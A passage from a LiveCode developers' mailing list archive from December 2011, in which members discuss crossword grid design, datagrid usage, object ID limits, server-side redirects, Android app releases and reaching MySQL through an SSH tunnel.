mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pete Molly's Revenge From richmondmathewson at gmail.com Thu Dec 8 14:17:16 2011 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 08 Dec 2011 21:17:16 +0200 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <4EE10D3C.2030209@gmail.com> On 12/08/2011 09:14 PM, Pete wrote: > Hmmm, is that really true? I don't think so: http://static.guim.co.uk/sys-images/Guardian/Pix/pictures/2010/01/08/winner300.gif Quod erat demonstrandum. > There's a free puzzle builder at http://www.eclipsecrossword.com/tour.html > > On Thu, Dec 8, 2011 at 10:38 AM, Mark Wieder wrote: > >> Keep in mind that crossword puzzles are symmetrical diagonally >> > > From jacque at hyperactivesw.com Thu Dec 8 14:27:31 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 08 Dec 2011 13:27:31 -0600 Subject: crossword puzzle in LiveCode In-Reply-To: <57D73B18-5917-43A9-9A0E-D621EAD10A64@me.com> References: <57D73B18-5917-43A9-9A0E-D621EAD10A64@me.com> Message-ID: <4EE10FA3.3050200@hyperactivesw.com> On 12/8/11 1:05 PM, Chris Sheffield wrote: > My idea right now is to have some kind of a grid that would get > created at run-time. Not sure yet whether to use square graphics or > just use actual fields. So the application would be fed the max > number of spaces across and then the max number of spaces down. So > say the longest word across has 10 letters, and the longest word down > has 6 letters. So a grid that is 10 by 6 would be created. Then I > would somehow determine where the letters for the words will be > placed in the grid (still kind of fuzzy on this part), and then once > that's done, I would hide the unused spaces, leaving behind a > crossword layout. Tapping/clicking in a space would then allow the > user to enter a letter for that space (or something of that nature). Off the top of my head... I'd use one field per square and probably group them. I'd name them consistently with an identifier string plus a number that represents their order in the grid; i.e., "xwd 1","xwd 2","xwd 3". I'd keep the space between the alpha identifier and the number so that it will be easy to grab the number position of the field. Then I'd make a delimited string of letters corresponding to what entry should be in each field. Leave empty items for fields that shouldn't be showing: "a,,,t,h,i,s,,,," Then I'd loop through the string and hide each field that has an empty item in the string. When the user enters a letter, get the last word of the target's name (which will be the number of its location in the string) and see if the entry matches that item. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Thu Dec 8 14:30:53 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 11:30:53 -0800 Subject: crossword puzzle in LiveCode In-Reply-To: <4EE108FE.2020409@gmail.com> References: <4EE108FE.2020409@gmail.com> Message-ID: <1876ABCF-C8F2-43FD-B2E5-D5A20ABDF9F1@twft.com> I aced the easy one!!!! :-) Bob On Dec 8, 2011, at 10:59 AM, Richmond wrote: > cop a look at this: > > http://aitech.ac.jp/~ckelly/hc/ From pete at mollysrevenge.com Thu Dec 8 14:30:52 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 11:30:52 -0800 Subject: crossword puzzle in LiveCode In-Reply-To: <4EE10D3C.2030209@gmail.com> References: <4EE10D3C.2030209@gmail.com> Message-ID: That would be a great anagram clue! On Thu, Dec 8, 2011 at 11:17 AM, Richmond wrote: > Quod erat demonstrandum -- Pete Molly's Revenge From bobs at twft.com Thu Dec 8 14:33:23 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 11:33:23 -0800 Subject: crossword puzzle in LiveCode In-Reply-To: <4EE10D3C.2030209@gmail.com> References: <4EE10D3C.2030209@gmail.com> Message-ID: I think there are actually "rules" about crossword puzzles, or so the first link I posted seemed to indicate. I think this "violates" the "rules". not that I really "care". ;-) Bob On Dec 8, 2011, at 11:17 AM, Richmond wrote: > On 12/08/2011 09:14 PM, Pete wrote: >> Hmmm, is that really true? > > I don't think so: http://static.guim.co.uk/sys-images/Guardian/Pix/pictures/2010/01/08/winner300.gif > > Quod erat demonstrandum. > >> There's a free puzzle builder at http://www.eclipsecrossword.com/tour.html >> >> On Thu, Dec 8, 2011 at 10:38 AM, Mark Wieder wrote: >> >>> Keep in mind that crossword puzzles are symmetrical diagonally >>> >> >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Thu Dec 8 14:35:29 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 11:35:29 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: <4EE10BAD.8090402@comcast.net> References: <4ED93D45.6000406@comcast.net> <4EE0128B.1030906@comcast.net> <4EE0FCDE.8040306@comcast.net> <7D233BD6-FF57-43D1-A65D-BE69268C19CE@twft.com> <4EE10BAD.8090402@comcast.net> Message-ID: There may be performance issues with accessing the Cp in a repeat loop but I don't think there is any danger of breaking things, unless you change the contents of the cp within the repeat loop. I've definitely run into issues like that. I had one instance where I deleted lines from the "in" variable within the repeat loop - not a good idea! On Thu, Dec 8, 2011 at 11:10 AM, Marty Knapp wrote: > Thanks Bob, > I did a brief test using my first form and though it seemed to work, I was > concerned that I was doing a no-no. So Bob, how DO you know?!! Thanks for > the prayers! (and any cheese you may have . . .) > > So I'll keep on putting the cp into a variable first. > > Marty > >> I am not sure you can even do it the way the first example allows. It is >> my understanding that the repeat for each form creates an internal array of >> pointers to the delimiters in the actual memory location for the variable, >> and that is why you cannot change myVariable inside the repeat loop. >> Changing anything about myVariable will run the risk; no the certainty of >> moving the variable around in memory therefore invalidating the internal >> array of pointers, returning garbled crap instead of what you expect in >> pLine. (ask me how I know). This is also what makes repeat for each so >> incredibly fast! myVariable only has to be evaluated once at the beginning >> of the repeat loop. >> >> By referencing the property each time, the engine would, it seems have to >> re-evaluate the property on every iteration, breaking the rule that you >> cannot alter the contents of the 'in' argument. But who knows? Give it a >> try! *prays for Marty* >> >> Bob >> >> >> On Dec 8, 2011, at 10:07 AM, Marty Knapp wrote: >> >> As to my second question, I know that dealing with data in a field is >>> slower than in a variable and I'm wondering if the same is true when it >>> comes to custom properties? >>> >>> So which is better (in a read only situation): >>> >>> repeat for each line pLine in the uData of this stack --uData being a >>> custom property >>> dostuff >>> end repeat >>> >>> or >>> put the uData of this stack into myVariable >>> repeat for each line pLine in myVariable >>> dostuff >>> end repeat >>> >>> I've always put the cp into a variable, but am now wondering if I'm >>> wasting time/memory. >>> >>> > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Thu Dec 8 14:43:22 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 08 Dec 2011 13:43:22 -0600 Subject: When to release a free Android app? (development cycle) In-Reply-To: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> Message-ID: <4EE1135A.1010708@hyperactivesw.com> On 12/8/11 11:25 AM, Andrew Henshaw wrote: > Ive been working on a port of an iOS app I wrote earlier in the year > to see if for me and my level of programming skills, the Android > part of Livecode is up to the job. Ive got an app working now, but > only on phones, not tablets yet. Why won't it work on tablets? Is it just the resizing issue? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Thu Dec 8 14:43:37 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 11:43:37 -0800 Subject: Datagrid tooltips Message-ID: I know the datagrid has a dgTooltip property that displays when the user hovers over a column header but has anyone come up with a way to have a tooltip unique to each row? For example, let's say I have a column that uses the datagrid truncateTail function so the data in the column is abbreviated with "..." at the end. I'd like to have a way to show the user the complete data in the row/column by hovering over it and displaying a tooltip. -- Pete Molly's Revenge From ambassador at fourthworld.com Thu Dec 8 14:46:20 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 08 Dec 2011 11:46:20 -0800 Subject: Creating an Undo palette In-Reply-To: References: Message-ID: <4EE1140C.6020509@fourthworld.com> Bernard Devlin wrote: > I'm puzzled by Ken's remark about running out of IDs. What is the upper > limit to the number of IDs? About 2 billion, which seems like a lot but think about: Suppose you create and delete and recreate complex objects like a dataGrid, each of which contains hundreds of objects. Do that several thousand times, and consider the life of the document. If it's in use for a few years, the possibility of reaching the ID limit is no longer merely theoretical. Once the max number of IDs has been used, a wide range of unpredictable behaviors start happening. You can try this yourself by setting the ID of an object to the highest possible value, and then clone it. The clone will be created, but it cannot be selected, and attempts to set its properties fail. IIRC from the last time I tested this, nor error is thrown, it just stops working normally and enters into a netherland of oddities. I would feel more comfortable about the dataGrid and other complex objects if I new there was a plan in place to raise the ID limit..... -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From andre at andregarzia.com Thu Dec 8 15:08:34 2011 From: andre at andregarzia.com (Andre Garzia) Date: Thu, 8 Dec 2011 18:08:34 -0200 Subject: LiveCodeServer: redirecting with 'put header' In-Reply-To: References: <132BA497-C14F-4861-A6F1-683F7B0D8826@m-r-d.de> Message-ID: Matthias, I have no answer for that but I noticed that redirections with 301 with RevServer just work if you output some content as well, any content. I usually go with "redirecting..." or with a link to where I am redirecting them. =) On Thu, Dec 8, 2011 at 1:50 PM, Matthias Rebbe < matthias_livecode_150811 at m-r-d.de> wrote: > Hi Andre. > > while answering to the other replies i oversaw your one.. > Tried it now out. It works ! ! ! > > But why do i have to put the "redirecting?"? > > Is this an on-rev specific thing or is this additional put also needed > when using LiveCodeServer on > other systems? If the 2nd, then RunRev would do right to put that > information into the ReleaseNotes. > > Anyway, it works. Thank you very much. > > Regards, > > Matthias > > > Am 08.12.2011 um 16:26 schrieb Andre Garzia: > > > Matthias, > > > > This will sound crazy ok... but try the script with an extra put with > > content, like this: > > > >> > >> >> put "http://www.google.com" into tURL > >> put header "Status: 301" > >> put header "Location:" && tURL > >> > > put "redirecting..." > > > >> ?> > > > > > > And tell me if it works. > > > > -- > > http://www.andregarzia.com -- All We Do Is Code. > > http://fon.nu -- minimalist url shortening service. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From keith at gulfbreezeortholab.com Thu Dec 8 15:17:24 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Thu, 8 Dec 2011 14:17:24 -0600 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: <8857099F-FA5B-4179-8827-18918671C9EB@twft.com> References: <8CE83CE9CED4E99-1FE0-48574@webmail-d172.sysops.aol.com> <8857099F-FA5B-4179-8827-18918671C9EB@twft.com> Message-ID: <4F1511E3CAC8496F8E930516BAB921F3@KeithPC> Cool. Thanks. -----Original Message----- From: Bob Sneidar Sent: Thursday, December 08, 2011 10:24 AM To: How to use LiveCode Subject: Re: Using the GetDataOfLine function out of the message path? This presumes you "know" what the line should be. If you want the data from a selected line, use the dgHilitedLine(s) to get the line number(s), or as I always like to do, use dgHilitedIndex because they remain constant even after a sort. dgHilitedLine refers to the visible rows (plus a couple buffer rows I understand). dgHilitedIndex refers to any record in the dg data array. The index number will remain constant even after a sort (but not of course after setting the dgText or dgData). So if you were looping through all the visible records, use line. If through all the records in the data grid, use index. Bob On Dec 8, 2011, at 6:47 AM, Mike Bonner wrote: > Hey cool. Didn't occur to me to ignore the built in function and grab it > directly. Haven't tried it but would sure simplify nicely. Thx! > > On Thu, Dec 8, 2011 at 7:41 AM, wrote: > >> >> Hi. >> >> Why not just: >> >> on mouseUp >> get the dgDataOfLine[2] of grp "yourDG" >> combine it with return and tab >> answer it >> end mouseUp >> >> Craig Newman >> >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Thu Dec 8 15:58:43 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 8 Dec 2011 13:58:43 -0700 Subject: Using the GetDataOfLine function out of the message path? In-Reply-To: <4F1511E3CAC8496F8E930516BAB921F3@KeithPC> References: <8CE83CE9CED4E99-1FE0-48574@webmail-d172.sysops.aol.com> <8857099F-FA5B-4179-8827-18918671C9EB@twft.com> <4F1511E3CAC8496F8E930516BAB921F3@KeithPC> Message-ID: Hmm, both a typing error and a misunderstanding on my part. (call, vs send vs dispatch) I had been thinking dispatch and call were the synonyms, (and they're similar) but not identical. Thx for the clarification. From scott at tactilemedia.com Thu Dec 8 16:13:55 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 08 Dec 2011 13:13:55 -0800 Subject: Creating an Undo palette In-Reply-To: <4EE1140C.6020509@fourthworld.com> Message-ID: But isn't this is only an issue if the stack is saved? Don't IDs start numbering themselves from the last saved state of the stack? Assuming your data isn't saved in the stack with the data grid, it doesn't seem like ID numbers would be an issue (unless I'm missing something). Regards, Scott Rossi Creative Director Tactile Media, UX Design Recently, Richard Gaskin wrote: >> I'm puzzled by Ken's remark about running out of IDs. What is the upper >> limit to the number of IDs? > > About 2 billion, which seems like a lot but think about: > > Suppose you create and delete and recreate complex objects like a > dataGrid, each of which contains hundreds of objects. Do that several > thousand times, and consider the life of the document. If it's in use > for a few years, the possibility of reaching the ID limit is no longer > merely theoretical. From ambassador at fourthworld.com Thu Dec 8 16:18:00 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 08 Dec 2011 13:18:00 -0800 Subject: Creating an Undo palette In-Reply-To: References: Message-ID: <4EE12988.50607@fourthworld.com> Scott Rossi wrote: > But isn't this is only an issue if the stack is saved? Don't IDs start > numbering themselves from the last saved state of the stack? Assuming your > data isn't saved in the stack with the data grid, it doesn't seem like ID > numbers would be an issue (unless I'm missing something). Correct: if you don't save, the next session begins with whatever the last saved ID was. I have an app I've been working on here off and on for a couple years which uses two dataGrids, and the ID count is up to about half a million. As we get more change orders we'll keep working with it, increasing the ID count by the thousands every time we do. I can imagine some projects where it may be possible to exceed the limit. No many, but some. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From henshaw at me.com Thu Dec 8 16:20:40 2011 From: henshaw at me.com (Andrew Henshaw) Date: Thu, 08 Dec 2011 21:20:40 +0000 Subject: When to release a free Android app? (development cycle) In-Reply-To: <4EE1135A.1010708@hyperactivesw.com> References: <6EF5B84D-6279-4021-92EE-463878505AC1@me.com> <4EE1135A.1010708@hyperactivesw.com> Message-ID: <5284245A-FA43-4B35-8931-AD43F5B819CE@me.com> Yes, ive just not designed it for the tablet size yet. I used MobGUI for all the android layouts, so its a case of dragging the controls around as I want them for each screen size. It sounds a pain, but its actually very quick and seems quite reliable where scaling, especially if it involves resizing images seems to really slow the engine down. I could just manually scale up the larger phone displays in the short term, but id prefer to make more use of the screen resolution by porting a version of the iPad interface over as many screens can be merged to make use of the extra screen area and it would all work much better. It all takes time though, and I have to get back on with the day job so it might be a Christmas project, im just wondering if it matters too much that tablet sizes are not in the initial release. As I dont have a android tablet, Im not sure how the app store works, is there a way to specify which devices are supported, or do you find some apps just dont support tablets resolutions, or does everything else just work??? Andy On 8 Dec 2011, at 19:43, J. Landman Gay wrote: > On 12/8/11 11:25 AM, Andrew Henshaw wrote: >> Ive been working on a port of an iOS app I wrote earlier in the year >> to see if for me and my level of programming skills, the Android >> part of Livecode is up to the job. Ive got an app working now, but >> only on phones, not tablets yet. > > Why won't it work on tablets? Is it just the resizing issue? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at me.com Thu Dec 8 16:23:25 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 08 Dec 2011 14:23:25 -0700 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <4866C159-4D49-40F8-81FA-555788D04B48@me.com> Pete, this looks promising. Might be able to use some of this for my needs. Thanks for the link. -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com On Dec 8, 2011, at 12:14 PM, Pete wrote: > Hmmm, is that really true? > > There's a free puzzle builder at http://www.eclipsecrossword.com/tour.html > > On Thu, Dec 8, 2011 at 10:38 AM, Mark Wieder wrote: > >> Keep in mind that crossword puzzles are symmetrical diagonally >> > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Thu Dec 8 16:35:56 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 08 Dec 2011 13:35:56 -0800 Subject: [OT] an Android milestone In-Reply-To: Message-ID: I just started drinking the Android green koolaid via a Galaxy S II and am really liking it. The UI is not as polished as iOS, but ironically the freedom and customization options make Android like what iOS could have been. :-) And the 10 cent apps are great :-) Regards, Scott Rossi Creative Director Tactile Media, UX Design Recently, Roger Eller wrote: > http://techcrunch.com/2011/12/06/android-market-10-billion-apps-served-so-far- > and-another-1-billion-each-month/ > _______________________________________________ From sl at trackandfieldnews.com Thu Dec 8 16:37:26 2011 From: sl at trackandfieldnews.com (Sieg Lindstrom) Date: Thu, 08 Dec 2011 13:37:26 -0800 Subject: connecting to MySQL database thru SSH tunnel In-Reply-To: Message-ID: Thanks, Bob. I have to confess that I'm not well educated in networking. I'm a regular guy who uses livecode to facilitate tasks I perform at work. Here's a wikipedia article (yeah, know its limitations as a reference source) that includes an explanation of SSH tunneling. http://en.wikipedia.org/wiki/Tunneling_protocol We're beefing up security on our server and I'm told my app will now need to talk to the relevant MySQL database on the server thru this protocol, assuming livecode is up to the task. Are SSH tunneling and VPN synonymous? I'm not sure. The article above says this: "Tunneling protocols may use data encryption to transport insecure payload protocols over a public network (such as the Internet), thereby providing VPN functionality." Thanks for the tip on the useSSL argument. If anyone has had direct experience with livecode client apps and SSH tunneling, I'd appreciate any insight. Sieg On 12/8/11 8:40 AM, Bob Sneidar wrote: > Help says: > Syntax: > revOpenDatabase("mysql",host[:port], databaseName, > [userName],[password],[useSSL], [socket], [timeout], [autoReconnect]) > > Notice the new useSSL argument? All you have to do now is determine if the > host accepts SSL connections, and if so, on what port. I am not sure what you > mean by an ssh tunnel. Are you talking about a VPN? > > Bob From admin at mfelkerco.com Thu Dec 8 17:29:16 2011 From: admin at mfelkerco.com (Admin) Date: Thu, 08 Dec 2011 16:29:16 -0600 Subject: connecting to MySQL database thru SSH tunnel In-Reply-To: References: Message-ID: In the past, when I was creating a php database and needed to test it, but did not want to open the floodgates and allow any IP address in, or if I was moving around from place to place and my IP would change depending on where I was, tunnelling was an option with some software. Essentially, you have a small php app that you ftp to your server and then the software you use 'talks' to that small program. You then have a way to upload data to the server and test out your database. It worked like a charm. I have since wrote a few programs with Live Code that 'talk' to a mySQL server and have not had any real problems, but I did have to put my IP address in the server's cpanel so as to accept it. (that was in the beginning - I figured out a more elegant solution - see below). I believe you could write a small app in Live Code that you could then upload to your server (say with a username/password combo) that would allow you to upload your work and changes like the one I used for the php database. Of course, you could also just use .htaccess and provide your username/password whenever you needed to upload your recent changes. No one else could then get in. You can also use .htaccess and then build the username/password into the Live Code app so that the program itself can always gain entry, but no one else can login without using the program. This is what I am doing right now with Live Code right now for database work. Mike On 08.12.2011 15:37, Sieg Lindstrom wrote: > Thanks, Bob. I have to confess that I'm not well educated in networking. I'm > a regular guy who uses livecode to facilitate tasks I perform at work. > > Here's a wikipedia article (yeah, know its limitations as a reference > source) that includes an explanation of SSH tunneling. > > http://en.wikipedia.org/wiki/Tunneling_protocol [1]We're beefing up security on our server and I'm told my app will now need to > talk to the relevant MySQL database on the server thru this protocol, > assuming livecode is up to the task. Are SSH tunneling and VPN synonymous? > I'm not sure. The article above says this: "Tunneling protocols may use data > encryption to transport insecure payload protocols over a public network > (such as the Internet), thereby providing VPN functionality." > > Thanks for the tip on the useSSL argument. If anyone has had direct > experience with livecode client apps and SSH tunneling, I'd appreciate any > insight. > > Sieg > > On 12/8/11 8:40 AM, Bob Sneidar wrote: > >> Help says: Syntax: revOpenDatabase("mysql",host[:port], databaseName, [userName],[password],[useSSL], [socket], [timeout], [autoReconnect]) Notice the new useSSL argument? All you have to do now is determine if the host accepts SSL connections, and if so, on what port. I am not sure what you mean by an ssh tunnel. Are you talking about a VPN? Bob > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com [2] > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode [3] Links: ------ [1] http://en.wikipedia.org/wiki/Tunneling_protocol [2] mailto:use-livecode at lists.runrev.com [3] http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Thu Dec 8 17:32:42 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Thu, 8 Dec 2011 17:32:42 -0500 Subject: [OT] an Android milestone In-Reply-To: References: Message-ID: On Thu, Dec 8, 2011 at 4:35 PM, Scott Rossi wrote: > I just started drinking the Android green koolaid via a Galaxy S II and am > really liking it. The UI is not as polished as iOS, but ironically the > freedom and customization options make Android like what iOS could have > been. :-) > > And the 10 cent apps are great :-) > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX Design > > You can think of it as sort of a 'green apple' flavor. :) ~Roger From bobs at twft.com Thu Dec 8 17:39:09 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 14:39:09 -0800 Subject: Creating an Undo palette In-Reply-To: <4EE12988.50607@fourthworld.com> References: <4EE12988.50607@fourthworld.com> Message-ID: Whoa! There needs to be a way to reset the stack id to start re-using id's that are not in use anymore! Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On Dec 8, 2011, at 13:18, Richard Gaskin wrote: > Scott Rossi wrote: >> But isn't this is only an issue if the stack is saved? Don't IDs start >> numbering themselves from the last saved state of the stack? Assuming your >> data isn't saved in the stack with the data grid, it doesn't seem like ID >> numbers would be an issue (unless I'm missing something). > > Correct: if you don't save, the next session begins with whatever the last saved ID was. > > I have an app I've been working on here off and on for a couple years which uses two dataGrids, and the ID count is up to about half a million. As we get more change orders we'll keep working with it, increasing the ID count by the thousands every time we do. > > I can imagine some projects where it may be possible to exceed the limit. No many, but some. > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From sc at sahores-conseil.com Thu Dec 8 17:43:16 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Thu, 8 Dec 2011 23:43:16 +0100 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <61F32B33-3490-4473-A54F-A1AA246CC883@sahores-conseil.com> Hi there, I had to deal with such a project in the past. The simplest way i found went to handle the gird as a collection of rectangle buttons driven as an array and all works fine. The button's label is used to display the letter under the control of the grid builder engine (or typed from the keyboard at game time), etc...The app is still used no far from twenty years later to produce the crosswords grids my company is delivering for sale and under the CC license (www.woooooooords.com). HTH, Le 8 d?c. 2011 ? 18:51, Chris Sheffield a ?crit : > Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. > > My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). > > Does that even sound doable? Anyone have a better suggestion? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From kray at sonsothunder.com Thu Dec 8 17:43:30 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 8 Dec 2011 16:43:30 -0600 Subject: Creating an Undo palette In-Reply-To: <5DC4239E-368A-4BA6-9344-4B11867E6D35@twft.com> References: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> <5DC4239E-368A-4BA6-9344-4B11867E6D35@twft.com> Message-ID: On Dec 8, 2011, at 11:29 AM, Bob Sneidar wrote: > I thought this over, and there would be problems. First, the ID of an object is part of the default property set. I can imagine there are a number of read only properties that only the engine can write to, so it would not be as simple as storing the entire property set and then restoring it. You wouldn't have to store *ALL* the properties of an object - just the ones that the user is able to change; as I mentioned, if you are providing an interface to make the change, you can control what you "remember" about an object? so that leaves properties that you allow the user to change without a separate interface element getting in the way, like resizing with the pointer tool or typing text into a field. These give you messages you can trap, but you're not giving someone a special UI to change these properties (usually). > One other kink I just thought of is the issue of closing unsaved stacks. What if your user closes the stack without saving? You would have to be able to go back to the point before the user last saved the stack. Actually you wouldn't - you'd purge the "undo list" at that point since the next time they open the stack you're starting a new "undo list". > Also, if the user saves the stack, you would have to wipe the array so as not to "undo" into a now defunct version of your stack. Yes, you'd want to wipe the "undo list" after a stack was saved or after some other action that you can't "undo". Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From sc at sahores-conseil.com Thu Dec 8 17:45:58 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Thu, 8 Dec 2011 23:45:58 +0100 Subject: crossword puzzle in LiveCode In-Reply-To: <9907BF6D-3DA6-433D-8A8B-EE9C05EAFED9@twft.com> References: <9907BF6D-3DA6-433D-8A8B-EE9C05EAFED9@twft.com> Message-ID: Le 8 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : > I give you http://www.crossdown.com/howtomake.htm Handy. Thanks for the link, Bob ! -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From kray at sonsothunder.com Thu Dec 8 17:46:45 2011 From: kray at sonsothunder.com (Ken Ray) Date: Thu, 8 Dec 2011 16:46:45 -0600 Subject: Creating an Undo palette In-Reply-To: References: <4EE12988.50607@fourthworld.com> Message-ID: <9CFF72D9-96B0-4A92-8C86-06E681522F6C@sonsothunder.com> On Dec 8, 2011, at 4:39 PM, Bob Sneidar wrote: > Whoa! There needs to be a way to reset the stack id to start re-using id's that are not in use anymore! Not currently - you can "set the id" of a stack to start at a specific ID, but it can't be a number any earlier than the last ID in use that was saved. So for example, if you start with 1002 and create and delete the same object 10 times so you're up to 1012, you can't set the ID of a stack to anything earlier than 1012. Worse yet, if you set the ID of a stack to 10000, you can't reset the ID back before 10000 even if you haven't added any objects. The only thing you can do to "reset" the ids, is to copy all the objects from one stack to a brand new stack (which will give them all brand new IDs). Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From bdrunrev at gmail.com Thu Dec 8 18:02:45 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Thu, 8 Dec 2011 23:02:45 +0000 Subject: connecting to MySQL database thru SSH tunnel In-Reply-To: References: Message-ID: Are you sure that your tunnel is working? I'm assuming that for some reason SSL is not an option, neither is a VPN. You should be able to tunnel a database connection through a SSH tunnel. I've done it many times with different kinds of databases and servers (although never with MySQL). Can you provide the SSH command-line options you are using to create your tunnel? As far as Livecode would be concerned, it would be connecting to a MySQL server running on your local machine, so it's likely the problem lies in the tunnel not being created. In fact, if you don't have MySQL installed/running locally, then you should be able to just assign the normal MySQL port to the local end of your tunnel (port 3306 is the default I believe). That way you would obviate the need to change ports (so you'd be specifying 3306 as the local end of your tunnel). You could try using telnet to connect to localhost:3306 to see if there is a response from MySQL through the tunnel (telnet localhost 3306). If you do that before you have the tunnel created, then you'll find out if MySQL is already running on your computer. When you create your tunnel, you can make SSH give you wads of information, by specifying the -v option (increase the verbosity by incrementing the number of Vs e.g. -vvv). If you can verify the tunnel is working using telnet, then it would seem to be something peculiar to MySQL (or a local configuration problem with OS X). Bernard On Wed, Dec 7, 2011 at 10:08 PM, Sieg Lindstrom wrote: > That doesn?t work. I get the following error message. > > ?Can?t connect to local MySQL server through socket ?tmp/mysql.sock? ? > > From mwieder at ahsoftware.net Thu Dec 8 18:22:33 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 8 Dec 2011 23:22:33 +0000 (UTC) Subject: Touchpad firesale 